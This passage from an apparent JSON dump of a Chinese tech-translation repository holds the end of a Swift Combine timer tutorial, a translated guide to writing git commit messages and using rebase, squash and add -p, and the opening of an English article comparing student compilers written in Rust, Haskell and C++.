可以指定上游的事件在哪里处理。如果要在 UI 上操作，就必须使用主队列。\n3. 这是我们的第一个 subscriber。`sink(receiveCompletion:receiveValue:)` 创建了一个 subscriber，它有两个闭包参数。当收到完成事件或者正常值时，闭包就会调用。\n4. Publisher 有两种方式结束调用 — 完成或者异常。如果产生了异常，游戏就会终止。\n5. 将两张随机图片的数据加入到数组中进行随机化，然后更新 UI。\n6. 把订阅信息存储到 `subscriptions` 中，用于消除引用。没有引用之后，订阅信息就会取消，publisher 也会立即停止发送。\n\n最后，编译运行吧。\n\n[![Playing the FindOrLose game made with Combine](https://koenig-media.raywenderlich.com/uploads/2020/01/GameWithCombine-231x500.png)](https://koenig-media.raywenderlich.com/uploads/2020/01/GameWithCombine.png)\n\n恭喜，现在你的 App 成功使用了 Combine 来处理事件流。\n\n## 加入分数\n\n你也许会注意到，分数逻辑没有起作用。重构之前，我们选择图片的同时分数也在倒数，但是现在分数是静止的。现在我们要用 Combine 重构计时器的功能。\n\n首先，用下面的代码替换 playGame() 方法中的 `// TODO: Handling game score`，用来恢复计时器功能：\n\n```swift\nself.gameTimer = Timer\n  .scheduledTimer(withTimeInterval: 0.1, repeats: true) { [unowned self] timer in\n  self.gameScoreLabel.text = \"Score: \\(self.gameScore)\"\n\n  self.gameScore -= 10\n\n  if self.gameScore <= 0 {\n    self.gameScore = 0\n\n    timer.invalidate()\n  }\n}\n```\n\n在上面的代码中，我们打算让 `gameTimer` 每 `0.1` 秒触发一次，同时让分数减小 `10`。当分数达到 `0` 的时候，终止定时器。\n\n现在编译运行，确定游戏分数是否随着时间流逝在减小。\n\n[![Game score decreases as time elapses](https://koenig-media.raywenderlich.com/uploads/2020/01/ScoreDecreases-231x500.png)](https://koenig-media.raywenderlich.com/uploads/2020/01/ScoreDecreases.png)\n\n## 在 Combine 中使用定时器\n\n定时器是另外一种支持 Combine 功能的 Foundation 类型。现在我们把定时器迁移到 Combine 的版本来看看差异。\n\n在 `GameViewController` 的顶部，修改  `gameTimer` 的定义。\n\n```swift\nvar gameTimer: AnyCancellable?\n```\n\n现在是在定时器里存储一个 subscription，而不是定时器本身。在 Combine 中我们使用 `AnyCancellable`。\n\n用下的代码替换 `playGame()` 和 `stopGame()` 方法的第一行：\n\n```swift\ngameTimer?.cancel()\n```\n\n现在用下面的代码在 `playGame()` 方法中修改 `gameTimer` 的赋值：\n\n```swift\n// 1\nself.gameTimer = Timer.publish(every: 0.1, on: RunLoop.main, in: .common)\n  // 2\n  .autoconnect()\n  // 3\n  .sink { [unowned self] _ in\n    self.gameScoreLabel.text = \"Score: \\(self.gameScore)\"\n    self.gameScore -= 10\n\n    if self.gameScore < 0 {\n      self.gameScore = 0\n\n      self.gameTimer?.cancel()\n    }\n  }\n```\n\n下面是分解步骤：\n\n1. 用这个新 API 可以通过 Timer 创建 publisher。这个 publisher 会在给定的时间间隔下和给定的 runloop 上重复发送当前的时刻。\n2. 这个 publisher 是一个特殊的 Publisher 类型，它需要明确指定开始和结束的 时机。当订阅开始或取消时，`.autoconnect` 通过连接或者断开连接来进行管理。\n3. 这个 publisher 不可能异常，所以不用处理异常回调。在这个例子中，`sink` 创建的 subscriber，只需要处理正常值。\n\n编译运行，玩一下你的 Combine App 吧。\n\n[![FindOrLose game made with Combine](https://koenig-media.raywenderlich.com/uploads/2020/01/FinalGame-231x500.png)](https://koenig-media.raywenderlich.com/uploads/2020/01/FinalGame.png)\n\n## 改进 App\n\n这里还有几个待优化的地方，我们用 `.store(in: &subscriptions)` 连续添加了多个 subscriber，但没有移除它们。下面我们来改进。\n\n在 `resetImages()` 的顶部添加下面这行代码:\n\n```swift\nsubscriptions = []\n```\n\n这里，你声明了一个空数组，用来移除所有无用订阅信息的引用。\n\n下一步，在 `stopGame()` 方法的顶部添加下面这行代码:\n\n```swift\nsubscriptions.forEach { $0.cancel() }\n```\n\n这里，你遍历了所有的 `subscriptions`，然后取消了它们。\n\n最后一次编译运行了。\n\n[![FindOrLose game made with Combine](https://koenig-media.raywenderlich.com/uploads/2020/01/FinalGameGIF-1.gif)](https://koenig-media.raywenderlich.com/uploads/2020/01/FinalGameGIF-1.gif)\n\n## 用 Combine 做所有的事情！\n\n使用 Combine 框架是一个很好的选择。它既流行又新颖，而且还是官方的，为什么不现在就用呢？不过在你打算全面使用之前，你得考虑一些事情：\n\n### iOS 低版本\n\n首先，你得为用户考虑。如果你打算继续支持 iOS 12，你就不能使用 Combine。（Combine 需要 iOS 13 及以上的版本才支持）\n\n### 团队\n\n响应式编程在思维上的转变很大，会有学习曲线，但是你的团队要赶进度。在你的团队中是否每个人都像你一样热衷于改变固有的工作方式？\n\n### 其他的 SDK\n\n在采用 Combine 之前，思考一下你的 app 中已经用到的技术。如果你有其他基于回调的 SDK，比如 Core Bluetooth，你必须用 Combine 对它们进行封装。\n\n### 逐渐整合\n\n当你逐渐掌握 Combine 时，就没有那么多顾虑了。你可以先从网络层调用开始重构，然后切换到 app 的其他模块。你也可以在使用闭包的地方使用 Combine。\n\n## 接下来怎么学？\n\n你可以在[原文页面](https://www.raywenderlich.com/7864801-combine-getting-started)下载本工程的完整版本。\n\n本教程中，你学习了 Combine 的基础知识：`Publisher` 和 `Subscriber`。你也学会了 operator 和定时器的使用。恭喜，你已经入门了！\n\n想学习更多 Combine 的用法，请看我们的书籍 [Combine: Asynchronous Programming with Swift](https://store.raywenderlich.com/products/combine-asynchronous-programming-with-swift)！\n\n如果你对本教程有问题或者评价，欢迎在下讨论区讨论！\n\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/commit-messages-guide.md",
    "content": "> * 原文地址：[Commit messages guide](https://github.com/RomuloOliveira/commit-messages-guide/blob/master/README.md)\n> * 原文作者：[RomuloOliveira](https://github.com/RomuloOliveira)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/commit-messages-guide.md](https://github.com/xitu/gold-miner/blob/master/TODO1/commit-messages-guide.md)\n> * 译者：[Mirosalva](https://github.com/Mirosalva)\n> * 校对者：[Chorer](https://github.com/Chorer)，[zoomdong](https://github.com/fireairforce)\n\n# commit 提交指南\n\n[![鸣谢！](https://img.shields.io/badge/Say%20Thanks-!-1EAEDB.svg)](https://saythanks.io/to/RomuloOliveira)\n\n一份理解 commit 信息重要性以及如何写好它们的指导手册。\n\n它可以帮你了解什么是 commit，为什么填写好的信息说明比较重要，以及提供最佳实践、计划和（重新）书写良好的 commit 历史的一些建议。\n\n## 可参考的语言版本\n\n- [英语版](README.md)\n- [葡萄牙语版](README_pt-BR.md)\n- [德语版](README_de-DE.md)\n- [西班牙语版](README_es-AR.md)\n- [意大利语版](README_it-IT.md)\n\n## 什么是 “commit”？\n\n简而言之，commit 就是你本地仓库中文件的一个快照。\n和一些人的想法相反，[git 不仅存储文件之间的差异，还存储所有文件的完整版本](https://git-scm.com/book/eo/v1/Ekkomenci-Git-Basics#Snapshots,-Not-Differences)。\n对于从一次提交到另一次提交之间未发生改变的文件，git 仅存储之前已存的同一份文件的链接。\n\n下面的图片显示了 git 随着时间变化如何存储数据，其中每个『版本』都是一个 commit：\n\n![](https://i.stack.imgur.com/AQ5TG.png)\n\n## 为什么 commit 信息很重要？\n\n- 加快和简化代码审查\n- 帮助理解代码变更\n- 协助解释仅靠代码无法完全描述的『为什么』\n- 帮助未来的维护者明白变更的原因以及如何变更，使故障排查和调试更容易\n\n为了最大化这些好处，我们可以使用下一节描述的一些好的实践和标准。\n\n## 好的实践\n\n这些是从我的经验、网络文章和其他指南中收集的一些实践案例。如果您有其他实践(或有不同意见)，请尽管随时打开 Pull Request 并贡献您的意见。\n\n### 使用祈使形式\n\n```\n# 好示例\nUse InventoryBackendPool to retrieve inventory backend\n```\n\n```\n# 坏示例\nUsed InventoryBackendPool to retrieve inventory backend\n```\n\n**但为什么要使用祈使形式？**\n\n一个 Commit 信息描述了提到的变化实际**做了**什么，它的影响，而非做的内容。\n\n[这篇来自 Chris Beams 的优秀文章](https://chris.beams.io/posts/git-commit/) 给我们一个简单的句子，可以帮助我们以祈使形式来书写更好的 commit 信息：\n\n```\nIf applied, this commit will <commit message>\n```\n\n示例：\n\n```\n# 好示例\nIf applied, this commit will use InventoryBackendPool to retrieve inventory backend\n```\n\n```\n# 坏示例\nIf applied, this commit will used InventoryBackendPool to retrieve inventory backend\n```\n\n### 首字母大写\n\n```\n# 好示例\nAdd `use` method to Credit model\n```\n\n```\n# 坏示例\nadd `use` method to Credit model\n```\n\n首字母需要大写的原因是遵守句子开头使用大写字母的语法规则。\n\n这个实践的使用可能因人而异，团队间亦可能不同，甚至不同语言的人群间也会不同。\n大写与否，一个重要的点是要保持标准一致并且遵守它。\n\n### 尝试在不必查看源代码的情况下沟通变化内容\n\n```\n# 好示例\nAdd `use` method to Credit model\n\n```\n\n```\n# 坏示例\nAdd `use` method\n```\n\n```\n# 好示例\nIncrease left padding between textbox and layout frame\n```\n\n```\n# 坏示例\nAdjust css\n```\n\n很多场景中(例子：多次提交、多次变更和重构)这都有助于帮助代码审查者理解代码提交者当时的想法。\n\n### 使用消息体来解释『为什么』、『是什么』、『怎么做』以及附加细节信息\n\n```\n# 好示例\n修复了 InventoryBackend 子类的方法名\n\nInventoryBackend 派生出的类没有\n遵循基类接口\n\n它之所以运行，是因为 cart 以错误的方式\n调用了后端实现。\n```\n\n```\n# 好示例\nCart 中对 credit 与 json 对象间做序列化和反序列化\n\n基于两个主要原因将 Credit 实例转化成 dict：\n\n  - Pickle 依赖于类的文件路径\n  如果需要重构的话我们不想破坏任何东西\n  - Dict 和内建类型在默认情况下是可以通过 pickle 来序列化的\n```\n\n```\n# 好示例\nAdd `use` method to Credit\n\n从 namedtuple 变成 class\n是因为我们需要使用新的值来设置属性（in_use_amount）\n```\n\n提交信息的主题和正文被一个空白行分割\n附加的空白行被认为是提交信息正文的一部分。\n\n类似 `-`，`*` 和 `\\` 的字符是用来提高可读性的元素。\n\n### 避免通用消息或者没有任何上下文的消息\n\n```\n# 坏示例\nFix this\n\nFix stuff\n\nIt should work now\n\nChange stuff\n\nAdjust css\n```\n\n### 限制字符数量\n\n[推荐](https://git-scm.com/book/en/v2/Distributed-Git-Contributing-to-a-Project#_commit_guidelines)主题最多使用 50 个字符，消息体最多使用 72 个字符。\n\n### 保持语言的一致性\n\n对于项目所有者：选择一个语言并使用该语言书写所有的 commit 信息。理想情况下，它应该匹配代码注释、默认翻译区域（对于做了本地化的应用）等等。\n\n对于项目贡献者：基于已有 commit 历史书写同样语言的 commit 信息。\n\n```\n# 好示例\nababab Add `use` method to Credit model\nefefef Use InventoryBackendPool to retrieve inventory backend\nbebebe Fix method name of InventoryBackend child classes\n```\n\n```\n# 好示例（葡萄牙语示例）\nababab Adiciona o método `use` ao model Credit\nefefef Usa o InventoryBackendPool para recuperar o backend de estoque\nbebebe Corrige nome de método na classe InventoryBackend\n```\n\n```\n# 坏示例（混合了英语和葡萄牙语）\nababab Usa o InventoryBackendPool para recuperar o backend de estoque\nefefef Add `use` method to Credit model\ncdcdcd Agora vai\n```\n\n### 模板\n\n这是一个样板，[由 Tim Pope 编写](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html)，出现在文章[**高级 Git 手册**](https://git-scm.com/book/en/v2/Distributed-Git-Contributing-to-a-Project)。\n\n```\n简化变更内容到 50 字符左右或者更少\n\n如有必要，可提供更详细的说明文字。\n将它包装成大约 72 个字符左右。\n在某些情况下，第一行被视为 commit 的信息主题，余下文字被认为信息正文。\n将摘要和正文分离开的空白行很有必要（除非你忽略了整个正文）；\n不同的工具像 `log`、`shortlog`、`rebase`，\n可能会变得混乱，如果你同时运行两个。\n\n解释本次 commit 正在解决的问题。\n专注于此次变更的原因，而非如何变更（代码会解释这点）。\n此次变更是否有副作用或其他隐性后果？\n这里就是解释它们的地方。\n\n空白行之后有更进一步的段落。\n\n - 也可以用要点符号。\n\n - 通常使用连字符或者星号作为要点符号，\n 前面有一个空格，中间有空白行，\n 但是约定惯例各不相同。\n\n如果你使用问题跟踪，在底部放置它们的引用，\n像下面这样：\n\nResolves: #123\nSee also: #456, #789\n```\n\n## Rebase 与 Merge\n\n这节是 Atlassian 优秀教程中的一个 **TL;DR**，[“Merge 与 Rebase”](https://www.atlassian.com/git/tutorials/merging-vs-rebasing)。\n\n![](https://wac-cdn.atlassian.com/dam/jcr:01b0b04e-64f3-4659-af21-c4d86bc7cb0b/01.svg?cdnVersion=hq)\n\n### Rebase\n\n**TL;DR:** 把你的分支中的 commit 一个接一个地应用到 base 分支，生成一个新树。\n\n![](https://wac-cdn.atlassian.com/dam/jcr:5b153a22-38be-40d0-aec8-5f2fffc771e5/03.svg?cdnVersion=hq)\n\n### Merge\n\n**TL;DR:** 使用两个分支间的差异，创建新的 commit，称作（适当地）**merge 提交**。\n\n![](https://wac-cdn.atlassian.com/dam/jcr:e229fef6-2c2f-4a4f-b270-e1e1baa94055/02.svg?cdnVersion=hq)\n\n### 为什么有些人更倾向于 merge 而不是 rebase？\n\n我尤其更倾向于 rebase 而不是 merge，理由包含：\n\n* 它生成了一个『整洁的』提交历史，没有不必要的 merge commit。\n* **所见即所得**，举例，在一次代码审查中，所有的变更来自对应某种特殊化的标注的 commit，避免了来隐藏在 merge commit 中的变更。\n* 更多的 merge 被提交者解决，并且每个 merge 变化对应着具备合适信息的 commit。\n    * 对 merge 类 commit 做挖掘和审核并不常见，因此避免这类操作可以确保所有的变更都归属于某个 commit。\n\n### 何时做 squash？\n\n“Squashing” 是处理一系列 commit 并将它们压缩为一个 commit 的过程。\n\n它在多种情况下都有用，例子：\n\n- 减少包含少量或者没有上下文的 commit（错误修正、格式化、遗忘的内容）\n- 将某些合并应用时更合理的独立变更结合起来\n- 重写**正在进行中**这类 commit\n\n### 何时避免 rebase 和 squash？\n\n避免在多人协作的公共 commit 或者共享分支中执行 rebase 和 squash。\nrebase、squash 重写历史记录、覆盖已有 commit，在共享分支的 commit 中执行以上操作（例子，推送到远程仓库的 commit 或者来自其他分支的 commit）可能造成混淆，并且由于分歧的树干和冲突大家可能会丢失他们的变更（本地和远程的）。\n\n## 有用的 git 命令\n\n### rebase -i\n\n使用它来压制 commit，编辑信息，重写/删除/重新排序 commit，等等。\n\n```\npick 002a7cc Improve description and update document title\npick 897f66d Add contributing section\npick e9549cf Add a section of Available languages\npick ec003aa Add \"What is a commit\" section\"\npick bbe5361 Add source referencing as a point of help wanted\npick b71115e Add a section explaining the importance of commit messages\npick 669bf2b Add \"Good practices\" section\npick d8340d7 Add capitalization of first letter practice\npick 925f42b Add a practice to encourage good descriptions\npick be05171 Add a section showing good uses of message body\npick d115bb8 Add generic messages and column limit sections\npick 1693840 Add a section about language consistency\npick 80c5f47 Add commit message template\npick 8827962 Fix triple \"m\" typo\npick 9b81c72 Add \"Rebase vs Merge\" section\n\n# Rebase 9e6dc75..9b81c72 onto 9e6dc75 (15 commands)\n#\n# Commands:\n# p, pick = use commit\n# r, reword = use commit, but edit the commit message\n# e, edit = use commit, but stop for amending\n# s, squash = use commit, but meld into the previous commit\n# f, fixup = like \"squash\", but discard this commit's log message\n# x, exec = run command (the rest of the line) using shell\n# d, drop = remove commit\n#\n# These lines can be re-ordered; they are executed from top to bottom.\n#\n# If you remove a line here THAT COMMIT WILL BE LOST.\n#\n# However, if you remove everything, the rebase will be aborted.\n#\n# Note that empty commits are commented out\n```\n\n#### fixup\n\n使用它轻松地清理 commit 并且无须一个更复杂的 rebase 操作。\n[这篇文章](http://fle.github.io/git-tip-keep-your-branch-clean-with-fixup-and-autosquash.html)提供了如何以及何时这么做的很好的示例。\n\n### cherry-pick\n\n它非常适用于在发布到错误分支上的 commit，无须再次编码。\n\n示例：\n\n```\n$ git cherry-pick 790ab21\n[master 094d820] Fix English grammar in Contributing\n Date: Sun Feb 25 23:14:23 2018 -0300\n 1 file changed, 1 insertion(+), 1 deletion(-)\n```\n\n### add/checkout/reset [--patch | -p]\n\n假设我们有以下差异：\n\n```diff\ndiff --git a/README.md b/README.md\nindex 7b45277..6b1993c 100644\n--- a/README.md\n+++ b/README.md\n@@ -186,10 +186,13 @@ bebebe Corrige nome de método na classe InventoryBackend\n ``\n # 坏示例（混合英语和葡萄牙语）\n ababab Usa o InventoryBackendPool para recuperar o backend de estoque\n-efefef Add `use` method to Credit model\n cdcdcd Agora vai\n ``\n\n+### 样板\n+\n+这是一个样板，[由 Tim Pope 编写](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html)，出现在文章 [**高级 Git 手册**](https://git-scm.com/book/en/v2/Distributed-Git-Contributing-to-a-Project)。\n+\n ## 贡献\n\n 感谢任何形式的帮助，可以帮到我的主题示例：\n@@ -202,3 +205,4 @@ 感谢任何形式的帮助，可以帮到我的主题示例：\n\n - [如何书写 Git 的 Commit 信息](https://chris.beams.io/posts/git-commit/)\n - [高级 Git 手册 —— Commit 指导](https://git-scm.com/book/en/v2/Distributed-Git-Contributing-to-a-Project#_commit_guidelines)\n+- [A Note About Git Commit Messages](https://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html)\n```\n\n我们可以使用 `git add -p` 来只添加我们需要的补丁，无须修改已经编写的代码。\n将较大的变更拆分成小的 commit 或者重置/检出特殊的变更。\n\n```\n暂存这个区块 [y,n,q,a,d,/,j,J,g,s,e,?]? s\n拆分成 2 个区块\n```\n\n#### 区块 1\n\n```diff\n@@ -186,7 +186,6 @@\n ``\n # 坏示例 (mixes English and Portuguese)\n ababab Usa o InventoryBackendPool para recuperar o backend de estoque\n-efefef Add `use` method to Credit model\n cdcdcd Agora vai\n ``\n\n暂存这个区块 [y,n,q,a,d,/,j,J,g,e,?]？\n```\n\n#### 区块 2\n\n```diff\n@@ -190,6 +189,10 @@\n ``\n cdcdcd Agora vai\n ``\n\n+### 样板\n+\n+这是一个样板，[由 Tim Pope 编写](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html)，出现在文章 [**高级 Git 手册**](https://git-scm.com/book/en/v2/Distributed-Git-Contributing-to-a-Project)。\n+\n ## 贡献\n\n感谢任何形式的帮助，可以帮到我的主题示例：\n暂存这个区块 [y,n,q,a,d,/,K,j,J,g,e,?]？\n```\n\n#### 区块 3\n\n```diff\n@@ -202,3 +205,4 @@ 感谢任何形式的帮助，可以帮到我的主题示例：\n\n - [如何书写 Git 的 Commit 信息](https://chris.beams.io/posts/git-commit/)\n - [高级 Git 手册 —— Commit 指导](https://git-scm.com/book/en/v2/Distributed-Git-Contributing-to-a-Project#_commit_guidelines)\n+- [关于 Git 的 Commit 信息的注意事项](https://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html)\n```\n\n## 其他有趣的东西\n\nhttps://whatthecommit.com/\n\n## 喜欢吗？\n\n[点赞！](https://saythanks.io/to/RomuloOliveira)\n\n## 贡献\n\n感谢任何形式的帮助，可以帮到我的主题示例：\n\n- 语法和拼写更正\n- 其他语言的翻译\n- 参考来源的改进\n- 不正确和不完备的信息\n\n## 灵感、来源和进一步阅读材料\n\n- [如何书写 Git 的 Commit 信息](https://chris.beams.io/posts/git-commit/)\n- [高级 Git 手册 —— Commit 指导](https://git-scm.com/book/en/v2/Distributed-Git-Contributing-to-a-Project#_commit_guidelines)\n- [关于 Git 的 Commit 信息的注意事项](https://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html)\n- [Merge 与 Rebase](https://www.atlassian.com/git/tutorials/merging-vs-rebasing)\n- [高级 Git 手册 —— 重写历史](https://git-scm.com/book/en/v2/Git-Tools-Rewriting-History)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/comparing-compilers-in-rust-haskell-c-and-python-1.md",
    "content": "> * 原文地址：[Comparing the Same Project in Rust, Haskell, C++, Python, Scala and OCaml](http://thume.ca/2019/04/29/comparing-compilers-in-rust-haskell-c-and-python/)\n> * 原文作者：[Tristan](http://thume.ca)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/comparing-compilers-in-rust-haskell-c-and-python-1.md](https://github.com/xitu/gold-miner/blob/master/TODO1/comparing-compilers-in-rust-haskell-c-and-python-1.md)\n> * 译者：\n> * 校对者：\n\n# Comparing the Same Project in Rust, Haskell, C++, Python, Scala and OCaml - Part 1\n\nDuring my final term at UWaterloo I took [the CS444 compilers class](https://www.student.cs.uwaterloo.ca/~cs444/) with a project to write a compiler from a substantial subset of Java to x86, in teams of up to three people with a language of the group’s choice. This was a rare opportunity to compare implementations of large programs that all did the same thing, written by friends I knew were highly competent, and have a fairly pure opportunity to see what difference design and language choices could make. I gained a lot of useful insights from this. It’s rare to encounter such a controlled comparison of languages, it’s not perfect but it’s much better than most anecdotes people use as the basis for their opinions on programming languages.\n\nWe did our compiler in Rust and my first comparison was with a team that used Haskell, which I expected to be much terser, but their compiler used similar amounts or more code for the same task. The same was true for a team that used OCaml. I then compared with a team that used C++, and as expected their compiler was around 30% larger largely due to headers and lack of sum types and pattern matching. The next comparison was my friend who did a compiler on her own in Python and used less than half the code we did because of the power of metaprogramming and dynamic types. A friend whose team used Scala also had a smaller compiler than us. The comparison that surprised me most though was with another team that also used Rust, but used 3 times the code that we did, because of different design decisions. In the end, the largest difference in the amount of code required was within the same language!\n\nI’ll go over why I think this is a good comparison, some information on each project, and I’ll explain some of the sources of the differences in compiler size. I’ll also talk about what I learned from each comparison. Feel free to use these links to skip ahead to what interests you:\n\n## Table of Contents\n\n* Why I think this is insightful\n* [Rust (baseline)](#rust-baseline)\n* [Haskell](#haskell): 1.0-1.6x the size depending on how you count for interesting reasons\n* [C++](#c): 1.4x the size for mundane reasons\n\n## Why I think this is insightful\n\nNow before you reply that amount of code (I compared both lines and bytes) is a terrible metric, I think that it can provide a good amount of insight in this case for a number of reasons. This is at least subjectively the most well controlled instance of different teams writing the same **large** program that I’ve ever heard of or read about.\n\n* Nobody (including me) knew I would ask this until after we were done, so nobody was trying to game the metric, everyone was just doing their best to finish the project quickly and correctly.\n\n* Everyone (with the exception of the Python project I’ll discuss later) was implementing a program with the sole goal of passing the same automated test suite by the same deadlines, so the results can’t be confounded much by some groups deciding to solve different/harder problems.\n\n* The project was done over a period of months, with a team, and needed to be gradually extended and pass both known and unknown tests. This means that it was helpful to write clean understandable code and not hack everything together.\n\n* Other than passing the course tests, the code wouldn’t be used for anything else, nobody would read it and being a compiler for a limited subset of Java to textual assembly it wouldn’t be useful.\n\n* No libraries other than the standard library were allowed, and no parsing helpers even if they’re in the standard library. This means the comparison can’t be confounded by powerful compiler libraries not used by all teams.\n\n* There were secret tests which we couldn’t see that were run once after the final submission deadline, which meant there was an incentive to write your own test code and make sure that your compiler was robust, correct and could handle tricky edge cases.\n\n* While everyone involved was a student, the teams I talk about are all composed of people I consider quite competent programmers. Everyone has at least 2 years of full time work experience doing internships, mostly at high end tech companies sometimes even working on compilers. Nearly all have been programming for 7-13 years and are enthusiasts who read a lot on the internet beyond their courses.\n\n* Generated code wasn’t counted, but grammar files and code that generated code was counted.\n\nThus I think the amount of code provides a decent approximation of how much effort each project took, and how much there would be to maintain if it was a longer term project. I think the smaller differences are also large enough to rule out extraordinary claims, like the ones I’ve read that say writing a compiler in Haskell takes less than half the code of C++ by virtue of the language.\n\n## Rust (baseline)\n\nMe and one of my teammates had each written over 10k lines of Rust before, and my other teammate had written maybe 500 lines of Rust for some hackathon projects. Our compiler was 6806 lines by `wc -l`, 5900 source lines of code (not including blanks and comments), and 220kb by `wc -c`.\n\nOne thing I discovered is that these measures were related by approximately the same factors in the other projects where I checked, with minor exceptions that I’ll note. For the rest of the post when I refer to lines or amount I mean by `wc -l`, but this result means it doesn’t really matter (unless I note a difference) and you can convert with a factor.\n\nI wrote [another post describing our design](http://thume.ca/2019/04/18/writing-a-compiler-in-rust/) [[译文]](https://github.com/xitu/gold-miner/blob/master/TODO1/writing-a-compiler-in-rust.md) , which passed all the public and secret tests. It also included a few extra features that we did for fun and not to pass tests, that probably added around 400 extra lines. Also around 500 lines of our total was unit tests and a test harness.\n\n## Haskell\n\nThe Haskell team was composed of two of my friends who’d written maybe a couple thousand lines of Haskell each before plus reading lots of online Haskell content, and a bunch more in other similar functional languages like OCaml and Lean. They had one other teammate who I didn’t know well but seems like a strong programmer and had used Haskell before.\n\nTheir compiler was 9750 lines by `wc -l`, 357kb and 7777 SLOC. This team also had the only significant differences between measure ratios, with their compiler being 1.4x the lines, 1.3x the SLOC, and 1.6x the bytes. They didn’t implement any extra features but passed 100% of public and secret tests.\n\nIt’s important to note that including the tests is the least fair to this team since they were the most thorough with correctness, with 1600 lines of tests, they caught a few edge cases that our team did not, they just happened to not be edge cases that were tested by the course tests. So not counting tests on both sides (8.1kloc vs 6.3kloc) their compiler was only 1.3x the raw lines.\n\nI also am inclined towards bytes as the more reasonable measure of amount of code here because the Haskell project has longer lines on average since it doesn’t have lots of lines dedicated to just a closing brace, and it’s one-liner function chains aren’t split onto a bunch of lines by `rustfmt`.\n\nDigging into the difference in size with one of my friends on the team, we came up with the following to explain the difference:\n\n* We used a hand-written lexer and recursive descent parsing, where they used a [NFA](https://en.wikipedia.org/wiki/Nondeterministic_finite_automaton) to [DFA](https://en.wikipedia.org/wiki/Deterministic_finite_automaton) lexer generator, and an [LR parser](https://en.wikipedia.org/wiki/LR_parser) and then a pass to turn the parse tree into an AST ([Abstract Syntax Tree](https://en.wikipedia.org/wiki/Abstract_syntax_tree), a more convenient representation of the code). This took them substantially more code, 2677 lines compared to our 1705, for about an extra 1k lines.\n\n* They used a fancy generic AST type that transitioned to different type parameters as more information was added in each pass. This is and more helper functions for rewriting are probably why their AST code has about 500 lines more than our implementation where we build with struct literals and mutate `Option<_>` fields to add information as passes progress.\n\n* They have about 400 more lines of code in their code generation that are mostly attributable to more abstraction necessary to generate and combine code in a purely functional way where we just use mutation and string writing.\n\nThese differences plus the tests explain all of the difference in lines. In fact our files for middle passes like constant folding and scope resolution are very close to the same size. However that still leaves some difference in bytes because of longer average lines, which I’d guess is because they require more code to rewrite their whole tree at every pass where we just use a visitor with mutation.\n\nBottom line, I’d say setting aside design decisions Rust and Haskell are similarly expressive, with maybe a slight edge to Rust because of ability to easily use mutation when it’s convenient. It was also interesting to learn that my choice to use a recursive descent parser and hand-written lexer paid off, this was a risk since it wasn’t what the professor recommended and taught but I figured it would be easier and was right.\n\nHaskell fans my object that this team probably didn’t use Haskell to its fullest potential and if they were better at Haskell they could have done the project with way less code. I believe that someone like [Edward Kmett](https://github.com/ekmett) could write the same compiler in substantially fewer lines of Haskell, in that my friend’s team didn’t use a lot of fancy super advanced abstractions, and weren’t allowed to use fancy combinator libraries like [lens](http://hackage.haskell.org/package/lens). However, this would come at a cost to how difficult it would be to understand the compiler. The people on the team are all experienced programmers, they knew that Haskell can do extremely fancy things but chose not to pursue them because they figured it would take more time to figure them out than they would save and make their code harder for the teammates who didn’t write it to understand. This seems like a real tradeoff to me and the claim I’ve seen of Haskell being magical for compilers devolves into something like “Haskell has an extremely high skill cap for writing compilers as long as you don’t care about maintainability by people who aren’t also extremely skilled in Haskell” which is less generally applicable.\n\nAnother interesting thing to note is that at the start of every offering of the course the professor says that students can use any language that can run on the school servers, but issues a warning that teams using Haskell have the highest variance in mark of any language, with many teams using Haskell overestimating their ability and crashing and burning then getting a terrible mark, more than any other language, while some Haskell teams do quite well and get perfect like my friends.\n\n## C++\n\nNext I talked to my friend who was on a team using C++, I only knew one person on this team, but C++ is used in multiple courses at UWaterloo so presumably everyone on the team had C++ experience.\n\nTheir project was 8733 raw lines and 280kb not including test code but including around 500 lines of extra features. Making it 1.4x the size of our non-test code that also had around 500 lines of extra features. They passed 100% of public tests but only passed 90% of secret tests, presumably because they didn’t 